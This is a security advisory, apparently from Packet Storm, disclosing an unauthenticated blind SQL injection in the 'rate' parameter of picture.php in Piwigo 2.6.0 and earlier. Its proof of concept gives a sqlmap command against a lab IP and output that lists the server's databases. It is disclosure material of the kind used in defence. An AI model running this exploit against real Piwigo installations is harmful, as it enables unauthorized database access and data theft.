Piwigo 2.6.0 SQL Injection

2014-11-12T00:00:00
ID PACKETSTORM:129088
Type packetstorm
Reporter Manuel Garcia Cardenas
Modified 2014-11-12T00:00:00

Description

                                        
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MGC ALERT 2014-001  
- Original release date: January 12, 2014  
- Last revised: November 12, 2014  
- Discovered by: Manuel García Cárdenas  
- Severity: 7,1/10 (CVSS Base Score)  
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I. VULNERABILITY  
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Blind SQL Injection in Piwigo <= v2.6.0  
  
II. BACKGROUND  
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Piwigo is a web application management photo albums, available under the  
License GPL. Is written in PHP and requires a MySQL, PostgreSQL or SQLite  
data.  
  
III. DESCRIPTION  
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This bug was found using the portal without authentication. To exploit the  
vulnerability only is needed use the version 1.0 of the HTTP protocol to  
interact with the application. It is possible to inject SQL code in the  
variable "rate" on the page "picture.php".  
  
IV. PROOF OF CONCEPT  
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The following URL's and parameters have been confirmed to all suffer from  
Blind SQL injection.  
  
/piwigo/picture.php?/1/category/1&action=rate (POST parameter: rate=1)  
  
Exploiting with SQLMap:  
  
python sqlmap.py -u "  
http://192.168.244.129/piwigo/picture.php?/1/category/1&action=rate" --data  
"rate=1" --dbs  
  
[16:32:25] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)  
web application technology: PHP 5.3.2, Apache 2.2.14  
back-end DBMS: MySQL 5  
[16:32:25] [INFO] fetching database names  
[16:32:25] [INFO] fetching number of databases  
[16:32:25] [INFO] resumed: 4  
[16:32:25] [INFO] resumed: information_schema  
[16:32:25] [INFO] resumed: mysql  
[16:32:25] [INFO] resumed: phpmyadmin  
[16:32:25] [INFO] resumed: piwigo  
available databases [4]:  
[*] information_schema  
[*] mysql  
[*] phpmyadmin  
[*] piwigo  
  
V. BUSINESS IMPACT  
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Public defacement, confidential data leakage, and database server  
compromise can result from these attacks. Client systems can also be  
targeted, and complete compromise of these client systems is also possible.  
  
VI. SYSTEMS AFFECTED  
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Piwigo <= v2.6.0  
  
VII. SOLUTION  
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All data received by the application and can be modified by the user,  
before making any kind of transaction with them must be validated.  
  
VIII. REFERENCES  
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http://www.piwigo.org  
  
IX. CREDITS  
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This vulnerability has been discovered and reported  
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).  
  
X. REVISION HISTORY  
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January 21, 2014 1: Initial release  
  
  
XI. DISCLOSURE TIMELINE  
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January 21, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas  
November 12, 2014 2: Send to the Full-Disclosure lists  
  
XII. LEGAL NOTICES  
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The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
  
XIII. ABOUT  
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Manuel Garcia Cardenas  
Pentester  
  
  
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